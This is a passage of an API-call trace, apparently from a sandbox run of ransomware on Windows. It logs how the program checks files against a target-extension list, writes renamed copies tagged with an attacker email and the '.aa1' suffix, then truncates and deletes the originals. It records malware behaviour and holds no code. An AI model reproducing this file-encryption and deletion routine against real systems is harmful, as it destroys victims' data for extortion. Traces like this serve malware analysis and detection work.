[0224.175] lstrlenW (lpString=".docx") returned 5 [0224.175] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0224.176] lstrlenW (lpString=".pdf") returned 4 [0224.176] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0224.176] lstrlenW (lpString=".xls") returned 4 [0224.176] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0224.176] lstrlenW (lpString=".xlsx") returned 5 [0224.176] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0224.176] lstrlenW (lpString=".ppt") returned 4 [0224.176] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0224.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0224.176] lstrlenW (lpString=".zip") returned 4 [0224.176] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0224.176] lstrlenW (lpString=".rar") returned 4 [0224.176] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0224.176] lstrlenW (lpString=".bz2") returned 4 [0224.176] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0224.176] lstrlenW (lpString=".7z") returned 3 [0224.176] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0224.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0224.176] lstrlenW (lpString=".dbf") returned 4 [0224.176] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0224.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0224.176] lstrlenW (lpString=".1cd") returned 4 [0224.176] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0224.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0224.176] lstrlenW (lpString=".jpg") returned 4 [0224.176] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0224.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0224.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0224.176] lstrlenW (lpString=".doc") returned 4 [0224.176] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0224.176] lstrlenW (lpString=".docx") returned 5 [0224.177] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0224.177] lstrlenW (lpString=".pdf") returned 4 [0224.177] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0224.177] lstrlenW (lpString=".xls") returned 4 [0224.177] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0224.177] lstrlenW (lpString=".xlsx") returned 5 [0224.177] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0224.177] lstrlenW (lpString=".ppt") returned 4 [0224.177] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0224.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0224.177] lstrlenW (lpString=".zip") returned 4 [0224.177] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0224.177] lstrlenW (lpString=".rar") returned 4 [0224.177] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0224.177] lstrlenW (lpString=".bz2") returned 4 [0224.177] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0224.177] lstrlenW (lpString=".7z") returned 3 [0224.177] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0224.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0224.177] lstrlenW (lpString=".dbf") returned 4 [0224.177] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0224.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0224.178] lstrlenW (lpString=".1cd") returned 4 [0224.178] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0224.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0224.178] lstrlenW (lpString=".jpg") returned 4 [0224.178] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0224.178] lstrcmpiW (lpString1=".GIF", lpString2=".aa1") returned 1 [0224.178] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0224.178] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0224.179] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=2604) returned 1 [0224.179] CloseHandle (hObject=0x1f8) returned 1 [0224.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif")) returned 0x20 [0224.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0224.179] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0224.179] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.179] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.179] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0224.187] GetLastError () returned 0x0 [0224.187] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0xa2c, lpOverlapped=0x0) returned 1 [0224.216] WriteFile (in: hFile=0x208, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xa30, lpOverlapped=0x0) returned 1 [0224.217] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0224.217] WriteFile (in: hFile=0x208, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xea, lpOverlapped=0x0) returned 1 [0224.217] SetEndOfFile (hFile=0x208) returned 1 [0224.217] CloseHandle (hObject=0x208) returned 1 [0224.217] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.217] SetEndOfFile (hFile=0x1f8) returned 1 [0224.218] CloseHandle (hObject=0x1f8) returned 1 [0224.218] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0224.219] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif")) returned 1 [0224.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0224.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0224.219] lstrlenW (lpString=".doc") returned 4 [0224.219] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0224.219] lstrlenW (lpString=".docx") returned 5 [0224.219] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0224.219] lstrlenW (lpString=".pdf") returned 4 [0224.219] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0224.219] lstrlenW (lpString=".xls") returned 4 [0224.220] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0224.220] lstrlenW (lpString=".xlsx") returned 5 [0224.220] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0224.220] lstrlenW (lpString=".ppt") returned 4 [0224.220] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0224.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0224.220] lstrlenW (lpString=".zip") returned 4 [0224.220] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0224.220] lstrlenW (lpString=".rar") returned 4 [0224.220] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0224.220] lstrlenW (lpString=".bz2") returned 4 [0224.220] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0224.220] lstrlenW (lpString=".7z") returned 3 [0224.220] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0224.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0224.220] lstrlenW (lpString=".dbf") returned 4 [0224.220] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0224.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0224.220] lstrlenW (lpString=".1cd") returned 4 [0224.220] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0224.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0224.220] lstrlenW (lpString=".jpg") returned 4 [0224.220] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0224.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0224.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0224.220] lstrlenW (lpString=".doc") returned 4 [0224.220] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0224.220] lstrlenW (lpString=".docx") returned 5 [0224.221] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0224.221] lstrlenW (lpString=".pdf") returned 4 [0224.221] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0224.221] lstrlenW (lpString=".xls") returned 4 [0224.221] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0224.221] lstrlenW (lpString=".xlsx") returned 5 [0224.221] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0224.221] lstrlenW (lpString=".ppt") returned 4 [0224.221] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0224.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0224.221] lstrlenW (lpString=".zip") returned 4 [0224.221] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0224.221] lstrlenW (lpString=".rar") returned 4 [0224.221] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0224.221] lstrlenW (lpString=".bz2") returned 4 [0224.221] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0224.221] lstrlenW (lpString=".7z") returned 3 [0224.221] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0224.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0224.221] lstrlenW (lpString=".dbf") returned 4 [0224.221] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0224.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0224.221] lstrlenW (lpString=".1cd") returned 4 [0224.221] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0224.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0224.221] lstrlenW (lpString=".jpg") returned 4 [0224.221] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0224.222] lstrcmpiW (lpString1=".PNG", lpString2=".aa1") returned 1 [0224.222] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0224.222] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0224.257] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=47962) returned 1 [0224.257] CloseHandle (hObject=0x1f8) returned 1 [0224.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png")) returned 0x20 [0224.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0224.257] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0224.257] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.257] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.257] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0224.258] GetLastError () returned 0x0 [0224.258] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0xbb5a, lpOverlapped=0x0) returned 1 [0224.266] WriteFile (in: hFile=0x208, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xbb60, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xbb60, lpOverlapped=0x0) returned 1 [0224.268] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0224.268] WriteFile (in: hFile=0x208, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.268] SetEndOfFile (hFile=0x208) returned 1 [0224.268] CloseHandle (hObject=0x208) returned 1 [0224.268] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.268] SetEndOfFile (hFile=0x1f8) returned 1 [0224.269] CloseHandle (hObject=0x1f8) returned 1 [0224.270] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0224.270] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png")) returned 1 [0224.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0224.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0224.270] lstrlenW (lpString=".doc") returned 4 [0224.270] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0224.270] lstrlenW (lpString=".docx") returned 5 [0224.270] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0224.270] lstrlenW (lpString=".pdf") returned 4 [0224.270] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0224.270] lstrlenW (lpString=".xls") returned 4 [0224.271] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0224.271] lstrlenW (lpString=".xlsx") returned 5 [0224.271] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0224.271] lstrlenW (lpString=".ppt") returned 4 [0224.271] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0224.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0224.271] lstrlenW (lpString=".zip") returned 4 [0224.271] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0224.271] lstrlenW (lpString=".rar") returned 4 [0224.271] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0224.271] lstrlenW (lpString=".bz2") returned 4 [0224.271] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0224.271] lstrlenW (lpString=".7z") returned 3 [0224.271] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0224.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0224.271] lstrlenW (lpString=".dbf") returned 4 [0224.271] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0224.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0224.271] lstrlenW (lpString=".1cd") returned 4 [0224.271] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0224.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0224.271] lstrlenW (lpString=".jpg") returned 4 [0224.271] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0224.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0224.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0224.271] lstrlenW (lpString=".doc") returned 4 [0224.272] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0224.272] lstrlenW (lpString=".docx") returned 5 [0224.272] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0224.272] lstrlenW (lpString=".pdf") returned 4 [0224.272] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0224.272] lstrlenW (lpString=".xls") returned 4 [0224.272] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0224.272] lstrlenW (lpString=".xlsx") returned 5 [0224.272] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0224.272] lstrlenW (lpString=".ppt") returned 4 [0224.272] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0224.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0224.272] lstrlenW (lpString=".zip") returned 4 [0224.272] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0224.272] lstrlenW (lpString=".rar") returned 4 [0224.272] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0224.272] lstrlenW (lpString=".bz2") returned 4 [0224.272] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0224.272] lstrlenW (lpString=".7z") returned 3 [0224.272] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0224.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0224.272] lstrlenW (lpString=".dbf") returned 4 [0224.272] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0224.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0224.272] lstrlenW (lpString=".1cd") returned 4 [0224.272] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0224.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0224.272] lstrlenW (lpString=".jpg") returned 4 [0224.272] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0224.273] lstrcmpiW (lpString1=".GIF", lpString2=".aa1") returned 1 [0224.273] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0224.273] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0224.273] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=3611) returned 1 [0224.273] CloseHandle (hObject=0x1f8) returned 1 [0224.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif")) returned 0x20 [0224.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0224.274] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0224.274] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.274] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.274] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0224.276] GetLastError () returned 0x0 [0224.276] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0xe1b, lpOverlapped=0x0) returned 1 [0224.364] WriteFile (in: hFile=0x208, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xe20, lpOverlapped=0x0) returned 1 [0224.365] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0224.365] WriteFile (in: hFile=0x208, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xea, lpOverlapped=0x0) returned 1 [0224.365] SetEndOfFile (hFile=0x208) returned 1 [0224.365] CloseHandle (hObject=0x208) returned 1 [0224.366] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.366] SetEndOfFile (hFile=0x1f8) returned 1 [0224.367] CloseHandle (hObject=0x1f8) returned 1 [0224.367] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0224.367] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif")) returned 1 [0224.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0224.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0224.367] 